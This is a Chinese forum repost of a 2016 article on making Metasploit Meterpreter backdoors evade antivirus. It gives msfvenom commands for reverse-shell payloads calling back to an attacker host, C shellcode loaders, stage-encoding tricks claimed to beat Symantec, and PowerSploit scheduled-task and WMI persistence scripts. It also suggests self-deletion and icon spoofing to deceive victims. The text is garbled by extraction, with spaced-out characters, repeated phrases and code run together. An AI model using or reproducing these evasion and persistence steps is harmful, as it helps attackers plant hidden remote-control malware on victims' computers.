搜索

[10685] 2016-11-06_Meterpreter免杀技巧分享（亲测有效）

文档创建者：s7ckTeam
浏览次数：59
最后更新：2025-01-18
2016-11-06_Meterpreter免杀技巧分享（亲测有效） M e t e r p r e t e r 免 杀 技 巧 分 享 （ 亲 测 有 效 ） 匿 名   F r e e B u f   2 0 1 6 - 1 1 - 0 6 0 × 0 1   m e t e r p r e t e r 简 介 简 介 M e t a s p l o i t F r a m e w o r k 是 一 个 缓 冲 区 溢 出 测 试 使 用 的 辅 助 工 具 ， 也 可 以 说 是 一 个 漏 洞 利 用 和 测 试 平 台 ， 它 集 成 了 各 种 平 台 上 常 见 的 溢 出 漏 洞 和 流 行 的 是 一 个 缓 冲 区 溢 出 测 试 使 用 的 辅 助 工 具 ， 也 可 以 说 是 一 个 漏 洞 利 用 和 测 试 平 台 ， 它 集 成 了 各 种 平 台 上 常 见 的 溢 出 漏 洞 和 流 行 的 s h e l l c o d e ， 并 且 不 断 更 新 ， 使 得 缓 冲 区 溢 出 测 试 变 的 ， 并 且 不 断 更 新 ， 使 得 缓 冲 区 溢 出 测 试 变 的 方 便 和 简 单 。 方 便 和 简 单 。 需 要 说 明 的 是 m e t e r p r e t e r 在 漏 洞 利 用 成 功 后 会 发 送 第 二 阶 段 的 代 码 和 m e t e r p r e t e r 服 务 器 d l l ， 所 以 在 网 络 不 稳 定 的 情 况 下 经 常 出 现 没 有 可 执 行 命 令 ， 或 者 会 话 建 立 执 行 h e l p 之 后 发 现 缺 少 命 令 ， 经 常 出 现 什 么 s e n d i n g s t a g e r   e r r o r ， 稍 等 片 刻 就 好 。 0 × 0 2   生 成 后 门 生 成 后 门 在 旧 的 m e t a s p l o i t 中 ， 生 成 p a y l o a d 是 用 m s f p a y l o a d + m s f e n c o d e ， 之 后 r a p i d 7 整 合 了 这 两 个 命 令 变 成 了 m s f v e n o m ， 并 添 加 了 更 多 的 功 能 ， 下 面 是 用 m s f v e n o m 生 成 b a c k d o o r 的 实 例 。 m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 1 . 2 0 0   l p o r t = 4 4 4 4   - f   e x e   >   / r o o t / D e s k t o p / G r e e n _ m . e x e 这 样 可 以 生 成 一 个 使 用 t c p 协 议 反 向 连 接 到 1 9 2 . 1 6 8 . 1 . 2 0 0 的 4 4 4 4 端 口 的 m e t e r p r e t e r 的 后 门 。 这 样 生 成 的 e x e 可 以 运 行 ， 但 是 会 被 杀 掉 。 0 × 0 3   生 成 生 成 s h e l l c o d e 免 杀 免 杀 长 话 短 说 ， 手 动 编 译 m e t e r p r e t e r 并 对 s h e l l c o d e 进 行 编 码 就 能 绕 过 静 态 查 杀 ， m e t e r p r e t e r 本 身 就 是 直 接 加 载 进 内 存 并 且 有 编 码 ， 绕 过 动 态 查 杀 基 本 没 问 题 ( 当 然 你 也 可 以 使 用 v e i l - e v a s i o n ， 不 过 效 果 不 怎 么 好 ) 。 m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   5   - b   ‘ x 0 0 ’   l h o s t = 1 9 2 . 1 6 8 . 1 . 2 0 0   l p o r t = 4 4 4 4       - f   c 上 述 命 令 生 成 在 之 前 的 基 础 上 生 成 基 于 c 语 言 格 式 的 s h e l l c o d e ， 通 过 e 参 数 指 定 编 码 方 式 ， i 参 数 指 定 编 码 次 数 ， b 参 数 去 除 指 定 代 码 ， 一 般 是 空 代 码 或 者 错 误 代 码 ， - f 指 定 生 成 格 式 。 这 种 方 式 v c + + 6 . 0 能 够 成 功 编 译 ， 但 是 v s 编 译 会 报 错 ， 可 以 换 成 ： 还 有 很 多 其 他 的 方 法 ， 这 里 就 不 一 一 测 试 了 。 友 情 提 示 ： 在 实 战 情 况 下 ， 免 杀 效 果 会 根 据 编 译 器 和 系 统 环 境 而 变 化 ， 可 以 多 准 备 一 些 环 境 进 行 免 杀 工 作 。 通 过 上 述 方 法 编 译 生 成 的 e x e 可 以 绕 过 几 乎 1 0 0 % 杀 软 ， 包 括 3 6 0 ， 卡 巴 斯 基 ， 小 红 伞 等 杀 软 。 0 × 0 4   选 择 选 择 p a y l o a d 进 行 免 杀 进 行 免 杀 u n s i g n e d   c h a r   b u f [ ]   =   " s h e l l c o d e   i s   h e r e " ; m a i n ( ) {   (   ( v o i d ( * ) ( v o i d ) ) & b u f ) ( ) ; } m a i n ( ) { M e m o r y   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( b u f ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ; m e m c p y ( M e m o r y ,   b u f ,   s i z e o f ( b u f ) ) ;   ( ( v o i d ( * ) ( ) ) M e m o r y ) ( ) ; }
上 面 生 成 s h e l l c o d e 的 方 式 是 针 对 杀 软 静 态 免 杀 的 ， 接 下 来 说 到 动 态 行 为 免 杀 。 在 对 市 面 上 主 流 的 杀 软 进 行 测 试 的 过 程 中 ， 发 现 s y m a n t e c 会 在 m e t e r p r e t e r 回 连 成 功 ， 从 m e t a s p l o i t 里 接 受 数 据 的 时 候 报 毒 。 无 论 是 自 己 手 动 编 码 编 译 还 是 m s f 自 动 生 成 的 e x e 都 会 这 样 被 报 毒 。 经 过 笔 者 自 己 测 试 ， 使 用 r e v e r s e _ h t t p s 等 p a y l o a d 可 以 a n t i   s y m a n t e c 。 m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s     l h o s t = 1 9 2 . 1 6 8 . 1 . 2 0 0   l p o r t = 4 4 3       - f   c 但 是 需 要 在 m e t a s p l o i t 设 置 ： 将 控 制 端 向 被 控 制 端 发 送 的 s t a g e 进 行 编 码 ， 从 而 绕 过 s y m a n t e c 的 查 杀 。 同 样 ， 使 用 r e v e r s e _ t c p _ r c 4 也 有 同 样 的 效 果 ， 而 且 不 用 设 置 s t a g e e n c o d e r 选 项 ， 更 稳 定 更 方 便 。 m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p _ r c 4     l h o s t = 1 9 2 . 1 6 8 . 1 . 2 0 0   l p o r t = 4 4 4 4   R C 4 P A S S W O R D = G r e e n - m     - f   c 利 用 r c 4 对 传 输 的 数 据 进 行 加 密 ， 密 钥 在 生 成 时 指 定 ， 在 监 听 的 服 务 端 设 置 相 同 的 密 钥 。 就 可 以 在 s y m a n t e c 眼 皮 地 下 执 行 m e t e r p r e t e r 。 这 里 做 一 个 抛 砖 引 玉 的 作 用 ， 其 他 p a y l o a d 的 查 杀 效 果 需 要 各 大 黑 客 自 己 去 测 试 。 0 × 0 5   m e t e r p r e t e r 常 驻 的 免 杀 常 驻 的 免 杀 常 见 的 添 加 m e t e r p r e t e r   常 驻 的 方 法 无 非 两 种 ： p e r s i s t e n c e 和 m e t s v c 。 这 两 种 方 法 效 果 还 是 不 错 的 ， 不 过 在 面 对 杀 软 的 时 候 无 能 为 力 ， 几 乎 1 0 0 % 被 杀 。 下 面 介 绍 几 种 能 绕 过 杀 软 的 添 加 自 启 动 方 法 。 1 . 使 用 使 用 e x p l o i t / w i n d o w s / l o c a l / r e g i s t r y _ p e r s i s t e n c e 通 过 用 户 自 己 指 定 p a y l o a d 及 编 码 方 式 ， 将 s h e l l c o d e 添 加 到 注 册 表 ， 然 后 再 利 用 p o w e r s h e l l 加 载 该 s h e l l c o d e ， 成 功 运 行 m e t e r p r e t e r 。 由 于 加 载 的 p a y l o a d 是 由 m e t a s p l o i t 指 定 ， 每 次 都 不 一 定 一 样 ， 这 个 方 法 在 面 对 大 部 分 主 流 A V 的 时 候 简 直 强 大 ， 只 要 不 监 视 注 册 表 操 作 不 限 制 p o w e r s h e l l ， 几 乎 不 会 被 杀 。 同 类 型 的 还 有 其 他 p a y l o a d ， 如 e x p l o i t / w i n d o w s / l o c a l / v s s _ p e r s i s t e n c e ， e x p l o i t / w i n d o w s / l o c a l / s 4 u _ p e r s i s t e n c e ， 有 的 效 果 也 不 错 ， 如 添 加 计 划 任 务 启 动 的 功 能 ， 但 或 多 或 少 都 有 一 些 限 制 ， 总 体 说 来 不 如 上 面 讲 到 的 方 法 。 2 . 利 用 利 用 p o w e r s h e l l p o w e r s h e l l 因 为 其 特 性 ， 被 很 多 杀 毒 软 件 直 接 忽 视 ， 因 此 用 这 个 方 法 经 常 能 达 到 出 其 不 意 的 效 果 其 实 这 个 方 式 和 第 一 种 原 理 都 是 一 样 ， 不 过 自 定 义 的 p o w e r s h e l l 脚 本 效 果 更 佳 。 这 里 可 以 利 用 一 个 工 具 p o w e r s p l o i t ， 下 面 用 它 来 示 范 一 个 简 单 的 例 子 。 其 中 G r e e n _ m . p s 1 是 加 载 有 p a y l o a d 的 p o w e r s h e l l 脚 本 文 件 ， 你 可 以 用 m s f 生 成 一 个 加 载 m e t e r p r e t e r 的 p s 1 文 件 。 当 然 你 也 可 以 选 择 不 执 行 p o w e r s h e l l 文 件 而 直 接 执 行 某 个 P E 文 件 ， 可 以 通 过 将 代 码 赋 予 变 量 来 执 行 。 p o w e r s p l o i t 还 有 其 他 非 常 有 用 的 功 能 ， 有 兴 趣 可 以 自 己 去 g i t h u b 或 者 使 用 g e t - h e l p 查 询 。 3 . 手 动 编 写 手 动 编 写 只 要 是 工 具 用 得 太 多 都 难 免 被 A V 发 现 ， 这 个 时 候 就 需 要 手 动 编 写 自 启 动 功 能 。 s e t   E n a b l e S t a g e E n c o d i n g   t r u e s e t   s t a g e e n c o d e r   x 8 6 / f n s t e n v _ m o v s e t   s t a g e e n c o d i n g f a l l b a c k   f a l s e I m p o r t - M o d u l e   . P e r s i s t e n c e P e r s i s t e n c e . p s m 1 $ E l e v a t e d O p t i o n s   =   N e w - E l e v a t e d P e r s i s t e n c e O p t i o n   - S c h e d u l e d T a s k   - O n I d l e $ U s e r O p t i o n s   = N e w - U s e r P e r s i s t e n c e O p t i o n   - S c h e d u l e d T a s k   - H o u r l y A d d - P e r s i s t e n c e   - F i l e P a t h   . G r e e n _ m . p s 1   - E l e v a t e d P e r s i s t e n c e O p t i o n   $ E l e v a t e d O p t i o n s   - U s e r P e r s i s t e n c e O p t i o n   $ U s e r O p t i o n s   - V e r b o s e m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 1 . 2 0 0   l p o r t = 4 4 4 4   - f   p s h - r e f l e c t i o n   - o   G r e e n _ m . p s 1 $ G r e e n _ m   =   {   c : w i n d o w s s y s t e m 3 2 n o t e p a d . e x e   } $ E l e v a t e d O p t i o n s   = N e w - E l e v a t e d P e r s i s t e n c e O p t i o n   - P e r m a n e n t W M I   - A t S t a r t u p $ U s e r O p t i o n s   = N e w - U s e r P e r s i s t e n c e O p t i o n   - S c h e d u l e d T a s k   - H o u r l y A d d - P e r s i s t e n c e   - S c r i p t B l o c k   $ G r e e n _ m   - E l e v a t e d P e r s i s t e n c e O p t i o n   $ E l e v a t e d O p t i o n s   - U s e r P e r s i s t e n c e O p t i o n   $ U s   e r O p t i o n s   - V e r b o s e   - P a s s T h r u   |   O u t - E n c o d e d C o m m a n d   |   O u t - F i l e   . E n c o d e d P e r s i s t e n t S c r i p t . p s 1
手 动 添 加 自 启 动 ， 自 删 除 ， 再 改 个 图 标 后 缀 技 能 骗 过 杀 软 也 能 骗 过 人 眼 ， 扩 展 一 下 就 是 个 大 马 ， 这 里 就 不 多 说 了 。 0 × 0 6   总 结 总 结 m e t e r p r e t e r 因 为 其 简 单 多 变 的 结 构 ， 强 大 的 功 能 ， 在 渗 透 中 面 对 未 知 杀 软 环 境 的 情 况 下 效 果 不 错 。 注 ： 本 文 所 做 所 有 测 试 不 保 证 完 全 有 效 ， 仅 供 参 考 。 微 博 地 址 ： 微 博 链 接 见 原 文 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ：   匿 名 匿 名   。 转 载 请 注 明 来 自 。 转 载 请 注 明 来 自 F r e e B u f （ （ F r e e B u f . C O M ） ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理